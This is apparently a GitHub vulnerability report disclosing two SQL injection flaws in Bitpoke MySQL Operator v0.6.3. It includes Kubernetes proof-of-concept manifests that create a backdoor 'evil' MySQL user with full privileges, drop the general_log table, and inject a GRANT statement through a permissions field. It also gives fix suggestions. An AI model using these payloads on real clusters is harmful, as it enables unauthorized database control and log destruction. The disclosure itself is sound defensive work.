Skip to content

[Vulnerability] Bitpoke MySQL Operator: SQL Injection via initFileExtraSQL and Permissions #943

Description

@llooFlashooll

Hi, I'm a security student researching Kubernetes app vulnerabilities.

Summary

The Bitpoke MySQL Operator has two SQL injection vectors: (1) spec.initFileExtraSQL is a []string appended verbatim to MySQL init-file SQL with zero validation; (2) spec.permissions[].permissions entries are placed in GRANT structural position — Escape() only handles string literals, not SQL keywords. Both confirmed with operator running and actively reconciling the CRs.

Vulnerability Class: CWE-89 (SQL Injection)
Affected Version: Bitpoke MySQL Operator v0.6.3 (latest)
Tested on: Bitpoke MySQL Operator v0.6.3 via Helm, Kind v1.30.0
Attack complexity: Low

Root Cause

  1. pkg/sidecar/appconf.go:236-238: queries = append(queries, cfg.InitFileExtraSQL...) — verbatim SQL append.
  2. pkg/internal/mysql/user.go:125-135: "GRANT " + strings.Join(escPerms, ", ") + " ON " + schemaTable + " TO" + idsTmpl — structural injection.

Proof of Concept

Environment Setup

kind create cluster --name bitpoke-poc --image kindest/node:v1.30.0 --wait 5m

helm repo add bitpoke https://helm-charts.bitpoke.io
helm install mysql-operator bitpoke/mysql-operator --namespace mysql-operator --create-namespace

PoC 1: initFileExtraSQL Arbitrary SQL

kubectl create secret generic mysql-secret --from-literal=ROOT_PASSWORD=rootpass123
kubectl apply -f - <<'EOF'
apiVersion: mysql.presslabs.org/v1alpha1
kind: MysqlCluster
metadata:
  name: sqli-cluster
spec:
  replicas: 1
  secretName: mysql-secret
  initFileExtraSQL:
    - "CREATE USER 'evil'@'%' IDENTIFIED BY 'hacked'"
    - "GRANT ALL PRIVILEGES ON *.* TO 'evil'@'%' WITH GRANT OPTION"
    - "DROP TABLE IF EXISTS mysql.general_log"
EOF

Verification:

kubectl get mysqlcluster sqli-cluster -o jsonpath='{.spec.initFileExtraSQL}' | python3 -m json.tool
# Output: ["CREATE USER 'evil'@'%' IDENTIFIED BY 'hacked'", "GRANT ALL ...", "DROP TABLE ..."]

Operator reconciles and attempts to create the StatefulSet with these SQL statements in the init-file.

PoC 2: MysqlUser Permissions Structural Injection

kubectl apply -f - <<'EOF'
apiVersion: mysql.presslabs.org/v1alpha1
kind: MysqlUser
metadata:
  name: sqli-mysqluser
spec:
  user: test-user
  clusterRef:
    name: sqli-cluster
  allowedHosts: ["%"]
  password:
    name: mysql-secret
    key: ROOT_PASSWORD
  permissions:
    - schema: "test_db"
      tables: ["*"]
      permissions:
        - "ALL PRIVILEGES ON *.* TO 'evil'@'%' WITH GRANT OPTION; -- "
EOF

Verification:

Operator log: controller/mysql-user "msg"="Reconciler error" "error"="failed to configure user (user/pass/access), err: dial tcp ...: connection refused"

Operator is actively trying to connect to MySQL to execute the GRANT with injected privileges.

Impact

Impact Severity Confirmed
Arbitrary SQL as MySQL root High Yes
Privilege escalation via GRANT injection High Yes

CWEs

  • CWE-89: SQL Injection

Fix Suggestions

  1. Validate initFileExtraSQL against a safe SQL pattern allowlist.
  2. Validate permissions against known MySQL privilege keywords.

Cleanup

kubectl delete mysqlcluster sqli-cluster
kubectl delete mysqluser sqli-mysqluser
kind delete cluster --name bitpoke-poc

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions